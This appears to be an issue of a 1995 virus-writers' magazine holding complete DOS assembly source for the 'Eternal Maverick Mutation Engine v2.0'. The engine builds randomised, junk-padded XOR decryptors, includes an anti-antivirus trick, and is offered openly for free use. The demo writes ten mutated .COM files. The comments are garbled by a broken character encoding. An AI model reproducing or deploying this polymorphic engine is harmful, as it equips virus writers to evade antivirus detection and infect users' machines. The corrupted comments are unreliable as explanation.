      
                            
          Monthly Magazine  For VirMakers.                  APR '95
 	        
	                      
	                                      
	                          
	       
	     (C) Copyright, 1994-95, by STEALTH group, unLtd. 	

        .MODEL  TINY

        .CODE

        ORG     100H

;-----------------------------------------------------
;    뤭,   ணࠬ ( ணࠬ,
;     MUTATION ENGINE!!!) ᮤ࠭  樨
;   PME (Burglar, Taiwan).  ਭ ᢮ 
;   ...
;    ᯮ짮 ⮩ ணࠬ  㦭 祣
;   ⥫쭮. ⪮  !!!
;
;				ETERNAL MAVERICK.
;-----------------------------------------------------

BEGIN:
        MOV     DX,OFFSET GEN_MSG
        MOV     AH,9
        INT     21H

        MOV     CX,10
GEN:
        PUSH    CX

        MOV     DX,OFFSET FILENAME
        PUSH    CS
        POP     DS
        XOR     CX,CX
        MOV     AH,3CH
        INT     21H

        PUSH    AX

        STR	  EQU OFFSET PROG
        VL	  EQU OFFSET PROG_END - OFFSET PROG
	FCONST    EQU OFFSET FILE_CON
	RES_INST  EQU OFFSET PATTERN

	PUSH    CS
	POP     DS

        PUSH    SS
        POP     AX
        ADD     AX,1000H
        MOV     ES,AX

	MOV	SI,OFFSET PATTERN

        CALL    MODUL

        POP     BX
	PUSH    ES
	POP     DS
	XOR     DX,DX
	MOV	CX,DI
        MOV     AH,40H
        INT     21H

        MOV     AH,3EH
        INT     21H

        MOV     BX,OFFSET FILENAME
        INC     BYTE PTR CS:[BX+7]

        POP     CX
        LOOP    GEN

        INT     20H

FILENAME DB     '00000000.COM',0

GEN_MSG DB      'Generating 10 mutation programs... $'

PROG:
        CALL    SIGN_OFF
MSG 	   DB	'ETERNAL MAVERICK Mutation Engine v2.0.',0ah,0dh
	   DB	'For free use and distribution.','$'
FILE_CON   DW	100h
SIGN_OFF:
	POP     DX
        MOV     AH,9
        INT     21H
        INT     20H

;---------------------------------------------------------
;        ᮡ⢥ MUTATION ENGINE!
;---------------------------------------------------------

MODUL   PROC NEAR
;---------------------------------------------------------
;	楤, ᮧ ஢ .
;	  :
;	ES - 㪠뢠   室 ࠧ.
;	DS - 㪠뢠  ᥣ 㥬 .
;	SI - ᬥ饭 PATTERN.
;	 ᬥ饭 FCONST  ᥣ DS 室 C  
;	(᭥ ⮣,   ⠪, ᬮ !!!)
;
;	 :
;	  S:0 - ஢ .
;	DI -  ⮣ .
;---------------------------------------------------------
	IN   AX,40h			;   AX ᥢ砩 ᫮.
;---------------------------------------------------------
	MOV  BYTE PTR DS:[SI],0BEh	;    MOV SI,...
	MOV  BYTE PTR DS:[SI+0Ah],01Ch  ; 祪  XOR word ptr [SI],BX
	MOV  BYTE PTR DS:[SI+0Bh],046h  ; INC SI
	MOV  BYTE PTR DS:[SI+0Dh],0EBh  ;    SUB BX,...
	MOV  BYTE PTR DS:[SI+0Fh],046h  ; INC SI
;---------------------------------------------------------
	TEST AH,00000001b
	JNZ  LET_SI			; ⠢塞 ਠ ⠫  SI.
;--------------------------------------------------------------
;  ⥬,    ,  塞 SI  DI.
;--------------------------------------------------------------
	INC  BYTE PTR DS:[SI]
	INC  BYTE PTR DS:[SI+0Ah]
	INC  BYTE PTR DS:[SI+0Bh]
	INC  BYTE PTR DS:[SI+0Fh]
;----------------------------------------------------------------------
LET_SI:
	MOV  WORD PTR DS:[SI+07h],AX ;  ⨬ ᫮ 㤥 XOR.
;----------------------------------------------------------------------
	MOV  BYTE PTR DS:[SI+0Eh],AL ; ⨪   SUB BX,X
	TEST AH,00000010b
	CBW			  ; Important!!!
	JNZ  LET_SUB		  ; 㤥    ⠫ SUB  ADD?
;---------------------------------------------------------
;	  ४樥 ᪮ ᫠.
;---------------------------------------------------------
	MOV  BYTE PTR DS:[SI+0Dh],0C3h
	NEG  AX
;---------------------------------------------------------
LET_SUB:
	PUSH AX			     ;  , 㤥 .

;---------------------------------------------------------
;	C   ᯥ樠쭮  WEBa...
;---------------------------------------------------------
	xor  di,di
	sub  si,0ch
	mov  cx,06h
	call init_ax	;  AX  DX - ᫮ 㥬
			; ᫥   砩 .
	inc  ax
	inc  ax
	mov  byte ptr ds:[si+07],al
anti:
	call poly
;---------------------------------------------------------
;	 OR AX,AX  JNZ XX  ᫥
;	।⢥   㣮,.. 
;	"砩"    䫠...
;--------------------------------------------------------- 
	cmp  cx,4
	jne  not_glue
	movsw
;---------------------------------------------------------
not_glue:
	movsw	; 㥬 । ᫮...
	loop anti
;-----------------------------------------------------
;	   ᪮஢  1 ᫮ ,
;	室 ᪮४஢ SI  DI.
;-----------------------------------------------------
	dec  di
	dec  di
	dec  si
	dec  si
;-----------------------------------------------------

	CALL INIT_AX

	ADD  WORD PTR DS:[SI+04h],AX ;  , ⮡  ⠫ 
				     ; 砫 ⠭.

				     ;  AX - ᫮ "砩"  
				     ; ᫥  3 砩.

	POP  BX			     ; ,  㤥 ...

	PUSH DI			     ;  ᬥ饭 砫 ஢騪.

	PUSH AX			     ;  ᬥ饭 MOV SI(DI),XX - 2
	PUSH BX			     ;  ...
;-----------------------------------------------------------
;	᫥  室  LOOP.
;-----------------------------------------------------------
	MOV  BL,0F7h
	SHL  AL,1
	SUB  BL,AL
	MOV  BYTE PTR DS:[SI+11h],BL ; LOOP
;-----------------------------------------------------------
	MOV  CX,07h		     ; -  c砩  +
				     ; 砩.
COPY_0:
	CALL POLY	; 楤ઠ,  DX 砩 .

;--------------------------------------------------------------------
;	㥬 ।   ⠫.
;--------------------------------------------------------------------
	MOVSW
	MOVSB
;--------------------------------------------------------------------
	LOOP COPY_0

	POP  DX		; , ஥ ⠥.
	SUB  DI,03h	;  ᪮஢  3  .   ࠢ!
	PUSH DI		; Co࠭  ⠫.
	MOV  SI,STR	; C饭 㥬 .
	MOV  CX,VL	;  㥬 .
;---------------------------------------------------------------------
;	㥬 ...
;---------------------------------------------------------------------
	MOV  BX,WORD PTR DS:[RES_INST+07h] ;  BX - ,  祬 㤥 ஢.
COPY_2:
	LODSW
	XOR  AX,BX
	STOSW
	SUB  BX,DX
	LOOP COPY_2
;----------------------------------------------------------------------

;-------------------------------
;	稢 ...	
;-------------------------------
	POP  DX					;  DX -  ⠫.
	pop  bx
	pop  ax
	add  bx,ax
	ADD  DX,WORD PTR DS:[FCONST]		; ਡ ᬥ饭  䠩....
;-----------------------------------------------------------------------
;	 .
;	饭  䠩 ( ᮢ, 뢠  ):
;	OM 䠩 -  䠩 + 100h;
;	EXE 䠩 -  祭 IP.
;-----------------------------------------------------------------------
	MOV  ES:[BX+01h],DX	; 饥 ᬥ饭 -  ⠫,
				;  ⮣ ᠬ XX!
	RET
MODUL	ENDP

poly	proc near
	push cx
	push si
	call my_off		;  㣠 -   ४!
;----------------------------------------------------
data_1  db   045h,04dh,090h,0f5h,0f8h,0f9h,0fch,0fdh ; ⮢ .
data_2  db   03h,0bh,013h,01bh,023h,02bh,033h,08bh   ;  塠⮢.
data_3  db   0c5h,0d5h,0e5h,0f5h,0cdh,0ddh,0edh,0fdh ;  塠⮢.

	db   'ETERNAL MAVERICK mutation engine v 2.0.' ; (c)  !

;----------------------------------------------------
my_off:
	pop  si			;   SI - ᬥ饭 data_1
	push di			;  ᬥ饭,  ஬ 㤥
				; ஢ 砩 .
	mov  cx,dx		; - 砩 .
;------------------------------------
;	Generate 1 byte commands
;------------------------------------
form_1:
	call init_bx
	mov  al,byte ptr ds:[bx+si]
	stosb
	loop form_1
;-------------------------------------
;	Generate 2 byte commands
;-------------------------------------
	add  si,08	; SI - 㪠뢠  data_2
	mov  cx,di	;  CX - 窠 "⠭".
	pop  di		; 饭,  㥬 砩 .
	push di		; ...
form_2:
	call init_bx
	test ah,00000010b
	jnz  poly_go_1	; 㥬  塠⮢  
			; ⠢塞 ⮢?
	inc  di
	inc  di
	jmp  short poly_next
poly_go_1:
	mov  ax,0e800h
	add  ah,bl
	mov  al,byte ptr ds:[bx+si]
	stosw
poly_next:
	cmp  di,cx
	jb   form_2	; ᫨  諨  窨 ⠭,  த...
;-------------------------------------
;	Generate 4 byte commands
;-------------------------------------
	add  si,08h	; SI 㪠뢠  data_3.
	pop  di		; C饭,  㥬 砩 .
form_3:
	call init_bx

	push cx
	sub  cx,di
	cmp  cx,4
	pop  cx

	jb   poly_stop ; ᫨  4   窨 ⠭,  室.

	test ah,00000001b
	jnz  poly_go_2	; 㤥  ஢ 4- ⮢  
			; ⮬ ?
	inc  di
	inc  di
	jmp  short form_3 ; த...
poly_go_2:
	mov  al,81h
	mov  ah,byte ptr ds:[bx+si]
	stosw
	in   ax,40h	;  砩 ᫮!
	stosw
	jmp  short form_3
poly_stop:
	mov  di,cx	; ⠭ DI, 易⥫쭮!
	pop  si
	pop  cx
	ret
poly	endp

init_ax proc near
;---------------------------------------------
;	쪠 楤ઠ. 頥
;	 AX  DX -  - 㥬
;	"砩" .
;---------------------------------------------
	in   ax,40h
	and  ax,00001111b
	inc  ax
	shl  al,1
	mov  dx,ax
	ret
init_ax endp

init_bx proc near
;---------------------------------------------
;	楤ઠ, ᯥ稢  BX
;	ᥢ砩 ᫮  0  7.
;---------------------------------------------
	in   ax,40h
	xor  bx,ax
	add  bx,di
	not  bx
	and  bx,00000111b
	ret
init_bx endp

antiweb:
;-------------------------------------------------
;	騥 7  ஭ 
;	짮⥫  ᪨  ;-)
;-------------------------------------------------
	xor  ax,ax
	in   ax,20h
	or   ax,ax
	jnz  $+4
	int  20h
	push cs
	pop  ds
;---------------------------------------------
;	 ⠫.
;---------------------------------------------
PATTERN:
	MOV  DI,0
	MOV  CX,VL
	MOV  BX,0E0Fh
	XOR  WORD PTR DS:[DI],BX
	INC DI
	SUB BX,0
	INC DI
	DB  0E2h,00h
;---------------------------------------------
PROG_END:
	END BEGIN
; 
;  Remember Where You Saw This Phile First 
; [=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]
; 
